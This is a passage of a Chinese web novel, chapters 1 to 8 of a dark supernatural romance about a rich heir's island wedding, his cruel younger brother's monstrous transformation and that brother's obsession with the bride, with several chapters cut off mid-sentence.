《被怪物盯上的寡妇》 1. 先结婚再守寡 《被怪物盯上的寡妇》全本免费阅读 亚丽安群岛,三年前还是世界顶尖富人的游乐场,光是一张入场券就昂贵得让人望而却步,普通人更是连知道它存在的渠道都没有,这样一个奢靡傲慢的世界,却被雍家整个买断,连带附近海域都封锁起来,不许任何人踏足。 圈子里的人都要忘了那里,今年却听雍家放出消息,将在圣安群岛举办雍家继承人,雍衍的婚礼。 都不用再进一步了解这场婚礼的信息,只是已知婚礼地点,就能猜到这场突然宣布的婚礼将以多么恐怖的效率来烧钱。 与雍衍结婚的对象让人意外也不意外。 不意外的是,所有人都知道她的存在,很小的时候,就被生性凉薄,病态残忍的雍衍看中,犹如童话里被恶龙掳走的公主,养在了隐秘的城堡里。 意外的是,雍衍真的会娶她,并让雍家上下都接受一个对名利场毫无助益,没有任何背景的女人做雍家未来的女主人。 七月末,在连绵了半个多月,相当反常的大雨中,被邀请的宾客陆续登岛,各怀心思地准备围观雍家的这场世纪婚礼。 —— 震得人心尖发慌的音乐声里,平时在学校压抑得不行的贵族少女少男们畅快地舞动身体,玩着家长看了会黑脸三天的大尺度暧昧游戏。 在躁动的荷尔蒙中,有人安静地坐在沙发上,低着眼玩着手机。他生得精致苍白,眼睫纤长浓密,低垂下来,掩住眼眸,也半遮起眼尾的那颗小小泪痣,他的样子给人漂亮又乖巧的错觉,直到有人摔在他脚边,他慢慢抬眼看去,这种一厢情愿的印象就变得格外好笑。 那双内勾外翘桃花眼刚流进光亮就反射出冷漠嘲弄的锋芒,像看垃圾一样看着满头是血的男人,他身上昂贵但样式统一的西装透露出他的身份——雍家为宾客准备的乐队一员,他的手里紧握着弦都崩开了的小提琴。 音乐还在震,人们却安静下来。 将这人丢过来的罪魁祸首看到雍野的裤脚似乎沾了一滴被甩出去的血珠,得意的脸色瞬间变得惨白,赶紧跑过来道歉:“对不起,雍少爷,我,我不是故意的,都怪这个人太不懂规矩……” “不是的,雍少爷。”受伤的小提琴手抱着天真的希望,期待雍野会为自己主持公道,“我在调琴,是他带人闯进来,非要我给他演奏,我照做后,却觉得我技术太差,浪费了这么好的琴,要把我的琴砸了……” 雍野压下目光,看了眼那把被主人不顾一切守护还是失败了的小提琴,冷淡地收回视线,修长的手指拿起一枚圆片转着。 一颗筹码丢在小提琴手脸上,打断他的控诉:“够赔你的琴了吗?” 他瞪大眼睛,看向地面,这枚嵌着钻石的筹码来自岛上,给顶级宾客打发时间玩的赌场,不会有人在这里的赌场倾家荡产,对有资格进入这个赌场消遣的人来说,它们只是玩具,但对他们这些人来说,每一枚都价值不菲。 但,还是没有他的尊严昂贵,小提琴手抬头怨恨地看向对他的遭遇毫无同情心,像看垃圾一样看着他的雍野。 打人的陈成也松了口气咧开嘴,舔着唇,乐呵呵地看着雍野顶着小提琴手愤恨的目光,逗弄地像他丢出一枚枚筹码。 一枚,两枚……小提琴手的眼睛不再瞪着雍野,而是失神看着地上越来越多,用来侮辱他人格的筹码。 地上空下来,小提琴手走了,带走了那一地的圆片。 “雍少爷,没想到您还记得我,我们一起上过射击课。”陈成眯眼看着小提琴手离开,转头,哈下腰,为雍野端水,“我怎么敢让您替我出钱,我会把钱还……” “不用了。”雍野看向陈成,陈成刚要笑,听到他继续,“那是提前给你的演出费。” 雍野的目光从陈成还算清秀的脸上往下打量,停在他的腿上:“这应该是你最后一次用腿了。” “爬着出去吧。” 陈成笑容僵住,恐惧的表情还没来得及攀到脸上,腿就已经软了,扑通跪下来:“雍少爷,我错了……” “记得选一个大家都能看到的舞台。”雍野面无表情地看着手机,保镖都在外面等着,没有冲进来把陈成拉走,雍野本人也没有继续给陈成施压,一切全靠陈成的自觉,求饶了几声后,他哆哆嗦嗦地爬了出去。 派对继续,音乐间隙隐约能听到楼下传来的惨叫,人群摆动身体的幅度渐弱了不少。 无人议论,但都在心有余悸。 雍野,越来越像他哥哥了。 —— 沈容颈间带着两个颜色不同的唇印,坐在雍野身边:“不玩游戏?” 雍野没理他,沈容看了眼他手边放着的酒杯,挑眉:“你什么时候开始喝这些气泡酒了,不是甜得让你恶心吗?” 雍野冷笑了一下,端起酒杯,喝了一口,用行动告诉沈容他少管他的闲事。 沈容端详着他的发小,雍野好像又白了,本就比人更能透处血管颜色的皮肤似乎马上就要变成了透明的,五官却更为靡丽重彩,乌黑的眼睫,瑰丽的眼眸,艳色的唇,从前那些不敢看他的同学们,也越发敌不过美色,向他投来隐秘而惊艳的目光。 难道是长开了? 但,现在长开会不会有点太晚了?他们都十九岁了,而且,雍野也没“长关起来”过啊。 雍家与权势财富一同甩开其他人,达到断层级顶峰的,还有他们一代更比一代出色的容貌身材。 除此以外,他们家族的人还遵守着“越恶劣的人享有越优越的基因”这一诡异可恶的规则。 病态的雍衍和狂傲的雍野在美人云集的雍家都是翘楚。 沈容压下想问雍野有没有偷偷做医美的找死想法,看了眼还挂着水幕的窗外:“看来你哥的婚礼要在雨中进行了。” 听到婚礼这两个字,雍野皱起眉,肩胛处莫名的痛痒随着他心里郁结的躁意越发清晰,他丢开手机,看向那些围着做游戏的人,嫌弃地问:“你们能玩点儿刺激的吗?” 沈容笑,这话的意思就是,小少爷打算屈尊降贵加入他们了。 只是,雍野好不容易有了微末的兴致,就有人前来扫兴。 音乐声突然断开。 几个侍者低眉垂眼地将音响设备推出去,雍家那位不常出面,却被每家家长叮嘱必须要记住的老管家向黑下脸的雍野微微鞠躬:“卿小姐已经上岛,按大少爷的吩咐,请所有人保持安静,不可以影响她的休息。” 偌大的大厅寂静无声,所有人下意识看向雍野。 雍野冷冷看着从小照顾他们兄弟的老管家,良久,轻笑了一声。 背过身,看向窗外。 老管家对着以沉默回应的小少爷行了一个礼,带人离开。 雍野的平静没让大厅里的人放松反而更为战战兢兢,沈容挥挥手示意他们出去,别把自己给憋死了。 雍野这副情绪稳定的样子不是装的,他小时候和阴冷沉默的雍衍差别很多,叛逆不羁,恣意张扬,最近几年,雍野才开始变得和他哥越来越像。 雍衍不高兴,绝不会大吵大闹,做摔打东西,砸墙这种蠢事,冷静得诡异,残忍得反人类,给人的精神折磨甚至大于实际的伤 2. 先结婚再守寡 《被怪物盯上的寡妇》全本免费阅读 沈容一直看着那片墨绿的裙摆,魂仿佛都跟着跑了,下意识把那个他们跟着雍野一起拒绝承认的称呼叫了出来:“嫂子她……” 刚出口,身侧便一凉,赶忙掩嘴轻咳一声:“我是说,她怎么往后面的花园走啊?就算仪式开始前不宜和宾客有太多社交,也不至于住得那么偏僻吧?” 他的语气竭力放得风轻云淡,可还是明显得好像在直接问雍野“你嫂子怎么不跟我们住一起啊”。 雍野冷冷看他一眼,冷淡又好听的声音把嘲讽拉满:“那可是雍衍最喜欢的玩具,可不得藏得死死的,免得居心不良的人惦记。” 居心不良·沈容心虚地摸摸鼻子没再说话,雍野又把狼一样沉沉的目光放回伞下那道身影上。 老管家不知怎么闪现到楼下,让人为伞下的女人打开花园沉重的雕花铁艺大门,名贵花草的色彩纷呈又和谐,就是太过浓郁阴暗,莫名给人不详的感觉。 这只是第一道门。 顺着植物簇拥的道路看去,这样的禁锢加了一道又一道,尽头处,只露出一角的小楼好像一座华丽却压抑至极的监狱。 而这竟然是雍衍为将要成为他妻子的人准备的休息处。 “太夸张了。”沈容有些不忍地小声叹息,出身显赫的沈家,当惯了人上人,他的同理心早就没了,但想到要被关在这里的人,她那么美丽,脆弱。 沈容难以自控地对从小便忌惮惧怕的雍衍生出了不满。 雍野也皱着眉,突然轻笑出声。 雍衍那个疯子,病得真是越来越严重了。 想到什么,雍野眼里的狠劲缓了缓。 也不知道她有没有过后悔…… 花园道路上有遮雨防晒的顶棚,保镖收了伞。 她的背影完整地浮现在连接天地的朦胧水帘里,乌黑的发丝用清雅素丽的银簪别住,后颈如霜赛雪,身上的旗袍没有多余的裸露,看起来保守得甚至有些老古板。 可。 雍野喉结极其细微地滚动了一下,肩胛的痛不知什么时候更厉害了,烦得他想要暴戾地撕碎什么。 这些异样只是一瞬,当那抹墨绿自愿被那片诡丽奢华的监禁地吞没,铁门与她身后层层锁上,雍野眼里的嘲弄便重新聚集,并比之前更为汹涌。 唇角勾了勾,看来是没有。 —— “卿小姐,您请。”老管家把门口位置让出来,卿岱从精挑细选出来照顾她的两列人中走过。 幽幽的冷香飘开。 有人悄悄抬头,追着马上就逸散在空气里的香看向她,余光刚看到她冰肌玉骨的一角眼里的神魂颠倒便更加控制不住,头也越抬越高。 正常来说,这是在雍家做事绝对不敢有的小动作,但她的吸引力远大于人的理智。 老管家敏锐地发现了那几个鬼迷心窍的新人,这种情况不是第一次发生,他没有出声,默默记下,一会儿会把他们换掉。 “辛苦了,你们也回去休息吧。”卿岱向守在门外的老管家微微颔首。 她的音色清冷疏离,没什么语气,但实在好听,好听到让人精神都有些不正常了,又自卑又自作多情地以为她在温柔地关心自己。 就算是老管家心神也有些荡漾,顿了一下,带人离开。 走之前,为她关上了门。 卿岱没太仔细看她在岛上的临时住所。 这里和她和雍衍的“家”布置一模一样,就算是她都能注意不到的细节,也原封不动地复刻了过来,把为她准备这些的人的强迫症展现得淋漓尽致。 只有作为衣帽间的那层楼里放置的名贵衣物和首饰是没见过的。 雍衍从来不送礼物,至少没有“送”的这个过程,就算是按天价拍卖回来的项链,也只是叫人放在那里。 价值连城的东西太多,就变得普普通通了。在雍衍眼里,这些都是日常用品,没有特别通知她更新了的必要。 卿岱把高跟鞋换下来,站在窗前,窗户是封死的,她抬起手,放在缝隙,没有任何气流流动。 打开的电视里播放着今天的新闻,屏幕的光影在淌着水的玻璃内侧跳动。 “现在为您报道的是今天下午一点,发生在南城新湾的袭击事件。根据办案人员介绍,凶手被当场击毙,伤亡人数还在统计,凶手疑有严重的精神问题……” 现场记者字正腔圆的声音突然拐了一下,一道吼叫挤进来:“不是精神病干的!” 卿岱扭头看向屏幕。 记者被一个男人推到一边,他颤抖的手抢过记者的话筒,脸贴在镜头上声嘶力竭:“我看到了!那不是人……”他举起手,努力地想要比划出什么形状,“是一团影子,它躲在人群里,就在我们的脚下,悄悄地,悄悄地……” 他眼珠好像都要凸了出来,声音越来越低,语调却越来越诡异,又哭又笑:“把他们都吃掉了!” 记者抢不过发狂的男人,穿制服的人上来才把男人拖走,记者拨了拨头发,尽力平复心态,继续刚刚的播报。 卿岱也转回头,接着看窗外的花丛,目光从鲜艳稀有的花朵移到花丛底部的边缘。 花丛投下的影子好像变长了,宛如海水,在慢慢向她的窗下漫过来。 门外有人敲门,卿岱看着那片暗影:“请进。” 老管家推开门:“卿小姐,少爷想确认您的情况。” 卿岱没动,只是嗯了一声,老管家走进来,打开卿岱身后,带有摄像头的屏幕,屏幕跳出大小屏,大的是卿岱靠在窗边的背影。 小屏里很暗,晦暗不明的光线中,隐隐有一道身影交叠长腿坐在那里,昏暗的空气如有实质,像一团介于液体与气体间的存在包裹着他,唯独能被光照亮的只有他放在扶手上的手,腕上扣着的钢表,和指间的戒指泛着金属无机质的光,这两样冷冰的禁锢衬得他的手更加修长漂亮。 身形矜贵,什么都没做,就阴冷压抑得让人喘不过气。 他的声音很好听,但太冷漠:“转过来。” 花丛下的阴影缩了回去,卿岱按照他的话转过身。 房间里安静无声,卿岱无法从屏幕中看到雍衍的眼睛,却能感觉到他的目光从上至下,极轻极缓地扫过她。 像蛇信子舔过,凉丝丝的。 < 3. 先结婚再守寡 《被怪物盯上的寡妇》全本免费阅读 一群自由的海鸥从小楼上空飞过,雍野收回视线,走到沈容身边:“你不是想要见她么?”他没有看沈容,半垂着眼睫,懒散地看着悬崖下的海浪,“闹出人命的话,她或许会替雍衍管一管。虽然可能性很小……” 沈容惊悚地扭头,咸湿的海风让他更加清醒了,半明半暗的天光里,雍野昳丽的侧脸像是蒙了一层薄纱。 雍家的事情,轻易不会有外人会插手,雍家的家长们因为一些事情耽误了上岛时间,目前,名义上管得了雍野的只有他哥哥的未婚妻,雍野未来的嫂子。 所以雍野疯狂的想法理论上是有一定逻辑的,但。 这可是现实! 察觉到沈容错愕到哑然的目光,雍野慢悠悠地抬眼对上沈容瞳孔震动的眼睛,平静地挑眉询问:“要试试看吗?” 窗边投进来的月色被在高空爆开的光束闪了一下,卿岱并未分心,安静地吃着晚餐,长桌上摆满了美味佳肴,还有侍者推着餐车,在乐队现场演奏的悠扬乐曲中走进来。 直到老管家走进来,她才抬起头。 “卿小姐,我不应该打扰您,但是小少爷和他的朋友们想在悬崖跳水,我担心他们会弄伤自己……”老管家脸上没什么表情,但语速比平时微微快了一些,隐晦地表明他内心的焦急。 他一直牢记自己的本分,曾经在忠诚于大少爷与保护小少爷之间选择了前者,从而差点害死了小少爷。 这次,他动摇了。 卿岱和管家一起来到东边,能看到海的顶楼窗前。 刚刚炸开的光束,是海边嬉闹的年轻纨绔们叫人放的烟花。 雍家的一切都是最好的。 就连临时安排的烟花都那么绚烂盛大,那群富家子弟又习惯了大手大脚,怎么浪费怎么放,连片的人工花火把整个海岸都照亮了,以至于她距海边有段距离的小楼都被扯进了他们的热闹里。 闪烁的光亮中,有人穿着泳衣,尖叫着从高度不同的悬崖平台一跃而下。 从石壁平整,高度适中的地方跳下去,还可以说是找刺激。从悬崖最凶险的顶端往下跳的,和找死没什么明显的区别。 砰! 卿岱清冷的面容被微微照亮,远处,黑黢黢的崖顶立着两道身影,一个紧绷颤抖,一个闲适从容。 “跳啊。”雍野语气很轻缓,不像是催促,却比阎王催命还恐怖。 沈容在这一刻终于摆正了自己的位置,他根本不算是雍野的朋友,且不说他只是沈家旁支没什么用的子弟,就说他真的有与雍野交好的资本,雍野也看不上他。 他完全低估了雍野目中无人的程度。 他怎么敢的啊?清醒过来的沈容悔得肠子都要青了,他怎么敢反复在雍野面前提他最讨厌的“嫂子”的啊。 他试着弥补:“我错了,雍少爷,我不该说那些话烦你,我不想见卿小姐了,再也 4. 先结婚再守寡 《被怪物盯上的寡妇》全本免费阅读 卿岱看着悬崖上的人影,几乎看不清,却能很轻易地让人分辨出哪个属于雍衍的弟弟。 这对兄弟各自都具有极高的辨识度,身形挺拔到能将傲慢矜贵这两个形容词具象化的程度,彼此间却有微妙地一致性。 对面似乎在跟她较着劲,不肯先出声。 卿岱开口:“很晚了,和你的朋友一起回去休息吧。” 雍野脸上没有表情,就算是在他旁边战战兢兢,近距离察言观色的沈容也没看出他的异样。 沈容看不到的另一侧,雍野握着手机的指尖于话筒里响起声音的一瞬猛地扣紧,手机的金属外壳发出了轻微的响声。 她的声音和当年几乎没有区别。 只是现在他有了长进,能从她极有迷惑性的声音中分辨出她对人的真实态度——敷衍,冷淡,事不关己。 她只是在扮演一个合格的家长,好讨雍衍的喜欢,让自己贴合雍家长媳这个身份。 虚伪至极,令他恶心。 可莫名地,他更在意的不是这个,雍野抬眼看向沈容,沈容哆哆嗦嗦的,明显还在心有余悸,但雍野就是觉得他的上身在向他倾斜,似乎是在竖起耳朵试图听到话筒里她的声音。 雍野用眼神让沈容滚到一边,食指压在手机背面,将手机与自己的耳朵贴紧。 不留半点缝隙,完完整整地占有。至少他要她自私而虚假的声音,在这一刻,必须只属于他。 不想让沈容听到,也不想让其他人听到,雍野清楚地听到自己问了一个很奇怪,很不应该问出口的问题:“你现在是一个人吗?” 卿岱却没被这个问题吓到,她早就习惯周围的人突然发疯有的甚至会变得跟怪物似的,她看了看旁边明明很担心但又在努力克制的老管家,他的身后还有一排待命的侍者。 她如实回答:“不是。” 雍野闭了闭眼,也对,她应该是被雍衍的人的保护监视下给他打来的电话,他怎么忘了,她是属于雍衍的,每时每刻。 他迅速冷静下来,微微仰起头,冷冽诱人的声音稍微温柔一点,哪怕带着要溢出来的嘲讽,都暧昧得不行:“那可真够可惜的,有别人在旁边听着,我有很多话都不能跟你说了。” 卿岱不是很在意,语气平静得让人抓狂,话语里提到的人更是:“你哥说了,他今晚就会到,你闹得太厉害,他会生气的。” 雍野不确定是不是错觉,她在提起雍衍的时候,语气有细微的不同。 似乎多了一分真心的温柔。 不可能给他的温柔。 雍野的肩胛仿佛在被小虫子啃噬骨头,让他分不清,到底是烦躁引起的疼痛,还是疼痛让他越来越想要发狂。 他沉了一口气,极力平复自己,不让她听出他的脆弱,气息微微急促:“少用雍衍来压我。” “你应该不是用自己的手机给我打这通电话吧?雍衍肯定会把你所有的通讯方式都控制起来了。” “就连这通电话,他也会想办法查到内容的,对不对?” 雍野扯起因为痛而下意识收紧的唇角:“那如果我现 5. 先结婚再守寡 《被怪物盯上的寡妇》全本免费阅读 话筒那边没了声音,雨又开始大了,水痕之下,雍野眉眼依旧是冷的,但牙齿稍微咬住了唇内的软肉,等听到她的声音再响起才放开。 但很快又皱起。 回应他刚刚那些话的是卿岱和之前几乎没什么变化的回答,他的挑衅仿佛拳头砸在空气里:“早点休息,别让你哥不开心。” 她的嗓音好听得突破常识,随便一个语调变化就能叫人心肠百转千回。 那年雍野自以为顺利地潜入城堡,却连卿岱本人都没有看到,他只是听到了她的声音。 他恨出卖他的她,但更恨贱皮子的自己,在被雍衍弄得快死了的时候,他最不甘心的竟然是,那个让雍衍把他丢出去,他身上的血腥味让她恶心的声音是属于雍衍而不是属于他的。 时间过去,她的声音在他的脑海里反而更加清晰。 她说话时的,停顿,起伏,甚至吐字间的气息交替频率,他比谁都了解。 也比谁都渴望,平静的仿佛早已凝结的水面为他产生一点变化。 可她对他就是这样的无动于衷,雍野安静地垂下眸,眼里的暗潮却是极其疯狂的,是不是只有雍衍才可以。 在他为了她那一点点不同,想得胀痛,却越想越空虚无力的夜晚里,雍衍是不是已经得到了很多。 一这么想,雍野就很想杀了雍衍。 不是说说而已,他的身体里好像真的生长着一个由杀意凝结成的怪物,它嘶吼着横冲直撞,找不到宣泄的出口,便都涌到身上最锋利的位置——他的牙齿,雍野感觉他的牙痒得都挤出了尖锐的痛感,甚至盖过了他肩胛处的痛楚。 他必须要咬点什么。 他希望是雍衍,不,雍衍那个脏东西,他选择用别的。 他希望是她能发出动人声音的咽喉。 慢慢地,细细地,那时,让她为他很多发出一些不一样的声调。 比雍衍更多。 雍野心底的欲念滋长得太疯狂,像藤蔓攀着他的血管,爬满他的眼球,那么浓,浓到肉眼可见地发红。 可他的轮廓还是像山一样沉静的:“你还记得我是谁吗?” “我的名字是什么。”他想要听她叫他的名字。 明明他都没让她知道他阴暗的真实目的,尽量正常地问她了,可她还是没有满足他:“三分钟到了,我该挂了。” 三分钟,是雍衍规定,她可以与除他自己以外的其他人对话的时间吗? 他限制她到了这么变态的程度? 雍衍凭什么? 她真的没有一点点不愿意吗? 雍野抬起眼,修长的手指展开,被明显变形的手机屏幕闪烁,显示通话被另一边挂断。 雍野的唇动了动:“滚。” 沈容和那些保镖没有一个从他的声音里发现不对劲,沈容看了眼雍野,连滚带爬地跑了,保镖们还在原地。 “想想你们的家人。”雍野提醒他们,“我有他们每一个人的详细资料。” 保镖们互相看了看,也走了下去。 雨更大了,冰冷的水里似乎含着某种发腥的香气,流进雍野眼里,蔓延开蛰痛,他闭上眼,随手将打湿的黑发捋到脑后。 再睁开眼,浸在水流里的脸苍白得快要透明,眼瞳却红得发黑。 他的后背很痒,很疼。 好像有什么要出来了。 雍野撩起衣服下摆,常人无法忍受的疼痛在他的克制下,只有动作稍微有些僵硬,这一点外显变化。 他慢慢放开指尖,卫衣落在地上。 雨水被他宽阔的肩接住,顺着漂亮流畅的肌理凹陷往下流,水流汇聚得最为集中的,自然是最深也最诱人的沟?壑,比如小腹两侧那两道,再比如后背中心的脊柱处,最后再没入略低的裤腰边。 在下面偷偷向上张望的少爷小姐看了一眼便大脑空白,只剩下被涩晴到了极致的视觉盛宴刺激得吞咽口水的基本生理动作。 可惜,能看到的只有这么一眼。 不等他们反应过来,那人间绝色便从悬崖顶端毫不犹豫地跃下,来不及看他到底是被岩石接住,还是被怒涨的海水吞没。 他就这么不见了。 退到海岸上的保镖赶紧跑向大海,可放眼看去都是黑压压海水。 —— 无数气泡升起,像一颗转瞬即逝的巨茧包裹着雍野,他时而觉得有怪物要从他的背后挣出来,时而又觉得他本身就是怪物,只是在进行一场漫长的蜕皮而已。 好痛,后背的骨头好像被打折了,再一段段地拉长。 雍野闭着眼,唇间只在一开始溢出了几串小气泡,后面唇就抿得死紧,唯有脖颈处的青筋暴露他在忍受极致的痛苦。 他想蜷起身体,而后背的剧痛却扯着他仰起头,海面上的救援队向海面 6. 先结婚再守寡 《被怪物盯上的寡妇》全本免费阅读 房间门前没有任何人,门锁却自己在转动。 轻响后,齿轮咬合,没有钥匙再打不开。 房间里没有开大灯,桌上台灯的亮度有限,只能照亮桌边的一部分柜子,那些柜子里隔着一定距离便摆着一种香料,有的放在珐琅彩的古董瓷瓶里,有的放在金丝镂空的香盒中。 其余的薄光笼着卿岱,将她优雅端庄的身形描摹在漆黑的巨大窗上,光线之外,需要很仔细地看才能看到花园中花草的轮廓,那些隐在雨夜里颤抖的艳丽玫瑰花好像怪物猩红的眼睛,簇拥在她的周围,思考着何时将这一房间诱人的香与她一并蚕食掉。 她对此浑然不觉,窗上的墨色诡异地流动起来,玻璃上映出的只是它影子的一小部分,其余的顺着两侧墙壁延展。 这飞影子是卿岱身后“人”的投射,他站在卿岱正后方。 他身后几乎要填满整个房间的蝶翼无风自动,犹如两片滚滚的黑烟,浓稠庞大,就算上面勾勒着如同神迹般,靡丽瑰艳的花纹,也叫人恐惧得感到窒息。从背后开,它们就像食人花的花瓣,随时会将卿岱纤细脆弱的身影吞掉。 雍野注视着卿岱,如果不是那双蝶翼,他的背影看起来就像个乖乖观察学姐演示实验的纯情男大。 他身上的黑似乎都被肩胛生长出的黑翼吸走,头发睫毛全都变成了银白色,眼瞳发红,唇色艳得仿佛刚进食过的吸血鬼。 变浅的眼睫被光一映显得更为纤长浓密,“看”着她用莹白纤长的手指挑起一匙香粉放在天秤上,记下克数,眼睛随着她的动作移动,但他的眼前其实还是蒙着血红,什么都只能看个大概。 房间里,有许多散发着香气的来源,却不刺鼻,甚至叫人有些嗅不清楚。 雍野极缓将她的气味吸纳进自己的身体里,他眉眼冷峻,还没完全适应的蝶翼在他自己都未发觉的情况下,细细颤抖。 像飘带般的骨刺兴奋战栗到轻微痉挛。 不够,一点也不够。 她明明有着存在感极强的一切,像天赋异禀的猎手,无需工具,只靠自己的声音,气味,外貌……无论哪一样,都能诱得别人神魂颠倒地上钩。 而她好像对唾手而得的猎物毫无兴趣,连那一点点的诱饵都不肯施舍给已经打算用性命作为回报的猎物们。 雍野得凭着他现在敏锐得不正常的听觉才能捕捉到她细微的呼吸和心跳声。 雍野低下身,高挺的鼻尖距离她专注恬静的面容越来越近。 太安静了,安静得让他不爽。 啪嗒。 一滴水从他的下颌落下,砸在卿岱放在桌上的指尖前,雍野没去看,他是故意的。 她终于对外界的事物有了反应,压下乌黑的眼睫看过去。 看到了那滴还夹杂着几缕血丝的水珠。 没有惊恐的尖叫,连呼吸频率都没有变,她只是用纸巾将它擦干净。 氤氲了一滴血水的纸巾,被她放在一边。 就算它凭空消失,她也没再抬眼看一下。 雍野目光冷下来,雍衍那个变态对她做了什么,让她迟钝得像个傻子?不满地“看”了一会儿她模糊的侧脸,抬手,指尖都要将离桌边最近的香盒推到地上了,卿岱却突然站起身。 雍野知道她看不到他,甚至碰不到他,可还是下意识地退了一步。 他马上就后悔了,他有必要怕她吗? 以前没必要,现在他都变成这个样子了更没必要。 而且,他是来报复她,折磨她的,不是吗? 雍野这样想着,玉色上斑驳着血痕的双脚却跟着卿岱前进而步步后退,分裂出蝶翼的肩胛与脊柱一寸寸贴紧在柜子上,庞然巨物般的蝶翼铺开,因为不喜欢这个乖顺的样子,蝶翼偶尔会掀起一角又轰然放下,骨刺也是这么精神分裂,一会儿炸开一会儿垂下。 他坚持用冷漠又不羁的眼神,垂眸看着站在柜子前的她。褪去色素后,他漂亮得像个琉璃娃娃,五官精致得超出人类认知,昳丽的面容和恐怖的蝶翼形成了两种极端。 卿岱感觉不到他的存在,甚至无法察觉到他的气息。 哪怕是在离他这么近的地方。 但他能感觉到她的,雍野喉咙上下滚动了两下,发现自己在做什么后,他恼羞成怒地屏息,修长的脖颈线条绷直凝结。 蝶翼边缘缓缓地卷起舒展,不只是紧张还是期待。 这种防御没有太大的作用,卿岱抬起手。 自然微蜷的手指似有似无地从雍野颈侧经过,去拿柜子上的香盒,手腕内侧的淡色血管就在他脸边,他稍微侧头就能咬到,她身上的冷香也从房间里混杂的香气里凸显出来,丝丝缕缕地缠绕住他。 雍野仍紧盯着卿岱的脸,耳朵里,是她的手碰触香盒的声音。 声音很轻,却太轻,近得仿佛就在他身体里,而被她拨弄挑选,打开察看的也是他。 强行止住的呼吸就这么 7. 先结婚再守寡 《被怪物盯上的寡妇》全本免费阅读 卿岱从一开始就察觉到了有人在看她,在这个本来不可能有第二个人存在的房间,在未知的角落,偷偷地窥伺。 或许,还不只是一个“人”在这样做,因为紧跟着她的森冷目光并不来自一个方向,而是像喷射出的毒雾般,细细地,轻轻地,从四面八方落在她身上。 这个“一开始”可以追溯到她刚懂事的年纪,或许更早,如果那些萦绕着她的关注有实体,她的世界应该早就被密集粘腻的蛛丝填满了。 卿岱不会因为它们感到困扰,雍衍找来了很多医生给她检查,发现她有严重的情感障碍,喜怒哀乐这些普通人具有的基本情感,在她这里都很难被触发出来,尤其是恐惧。 她能感知到危险,但也只限于知晓它的概念,产生不出躲避和逃跑的想法。 偏偏她很容易把危险的人或者事吸引过来。 雍衍在她的身后看她,卿岱没立刻做出反应,将刚调出的香放在小盘子点燃,等香气散出来,她才抬起眼。 不需要回头,在玻璃上就能看到他。 黑色大衣挺括,里面是剪裁精确到毫米的黑西装系到最上方扣子的领口间是同样熨烫笔挺的白衬衫和领带。 骨相极好,体现在他的每一个地方,不只是最吸引人的脸上,还在脖颈,手腕,脚踝,脊柱……这些一般人不敢多看的细节处,就像海盗分开埋藏的宝藏,每发掘一处,都叫人十分地爱不释手。 冷白色的皮肤恰当好处地贴在诱人的骨头上,该有肉的地方绝不崎岖,不该有肉的地方,纤薄光洁,是造物主最满意的画布,所以祂才会在上面描绘出足够与这些相配的完美五官,最后在他的眼尾点上一颗泪痣,作为表达祂满意心情的句点。 这么漂亮的人,却只会让看到他的人感到恐惧。 卿岱记得他对孤儿院院长说要把她带走的时候,那些在孩子们心里极有威严的成年人竟然都对当年也只是孩子的雍衍极其卑微地垂着头,拘谨放在腿边的指尖也在剧烈颤抖。 深黑色的玻璃衬得雍衍皮肤更白,水流扭曲他的面容,让人看不清他眼底的情绪。 卿岱看了看时间,体贴地问:“快到零点了,路上一定很累吧?” 雍衍没说话,雍野从柜子后面走出来,冷冷看着这两个人。 卿岱似乎习惯了雍衍的寡言,或者说不敢和他计较这些,自顾自又问了个问题:“还没找到你弟弟吗?” 雍野面无表情,可蝶翼的骨刺在缓缓舒展。 他向雍衍看去 8. 先结婚再守寡 《被怪物盯上的寡妇》全本免费阅读 卿岱没有回答,很可能是因为害怕雍衍没办法回答。 雍野凭着非人的五感,听到雍衍的呼吸,像他流连在卿岱咽喉处的指尖,绵长平缓,丝毫没有发怒暴戾的迹象。 和冷血动物一样,慢慢绞死猎物,平静无澜地看着它断气。 与雍衍折磨的人是谁无关,雍野只觉得雍衍变态得让他觉得恶心,眼里的杀意更浓一层。 房间里只有雍衍恶心的声音,听不到卿岱的声响:“他跟你说了167个字。” 这个控制狂果然查到了他和卿岱的通话内容,甚至还数了他对卿岱说了多少字,那他还问卿岱干什么?雍野刚这样想,就听到了答案。 “等我找到他,一个字,换他身上的一块肉。”雍衍垂下眼睫,轻声询问卿岱的意见,“这样好不好?” 他的语气平和,才显得更加癫狂。 雍野握紧刀柄,这个疯子。 跟卿岱说这些血腥残忍的东西干什么? 要吓死她吗? 还想切他身上的肉……雍野冷笑,刀尖淬了一滴光,就在它要被送进雍衍身体里的时候,卿岱站了起来,并且转身面对雍衍。 也面对站在雍衍身后的雍野,雍野看不清她的脸,所以,有种她在越过雍衍肩膀看他的感觉。 雍野的手顿住,接着想到了房间对面的那面镜子。 如果他现在把刀刺进雍衍身体里,血会映在镜子里,映在她的眼里。 或许他应该挑一个卿岱看不到的角度。 不然,她被吓傻了,他还怎么报复她? 雍野暂时放下刀,光/裸的足踩在卿岱和雍衍周围,像条饥肠辘辘的蛇,静谧而嗜血地挑选着下手的位置。 卿岱和雍衍,这两块躺在他案板上的肉什么都不知道。 卿岱抬起手,在她要起身的时候,雍衍就放开了桎梏她脖颈的手,她顺着他的这只手向上抚去,来到他的领带,像个贤惠尽职的妻子,帮他整理:“生气了吗?” 雍衍沉默地看着她,他这样不表明态度的沉默,是最让人害怕的,像是缠到人脖子上的套索,无形但充满窒息感。 卿岱看过雍衍工作时的视频,很多久居高位的人上人,在他如泥沼般冷森的寂静里,也会表现得非常狼狈可笑,痛哭流涕,跪地求饶都算里面比较得体的了。 卿岱有时候也会好奇,那样的恐惧是什么感觉。 “他只是个孩子,何必在意他的气话呢?”卿岱指尖勾着领带打结的位置,把它挑开一点又缓缓勒紧。 白色衬衫的领口也被带得收紧,贴在雍衍修长如玉的脖颈上,像一圈斯文又涩情的项圈。 卿岱放开了领带,把它抚平:“还是算了吧。” 雍野停住脚步,侧脸,他现在站在雍衍和卿岱的旁边。 卿岱的声音很轻,却像一记重重的巴掌扇在他脸上。他只是个孩子?不必和他的气话计较? 真是个宽容又善良的好嫂子。 她是不是忘了,雍衍并没比他大多少,她也是。 还是她根本不记得他是谁,自从他幼稚的行为推测他是个毛都没长齐的小孩子? 雍野攥起手指,怎么办,他的好嫂子让觉得捅雍衍一下不够解气了。 他应该像雍衍打算的那样,把雍衍切成一块一块的。 她的话同样也没能让那个疯子满意,雍衍握住了她调整领带位置的手腕,好听的声音覆了层令人不敢动弹的薄冰:“你替他求情?” 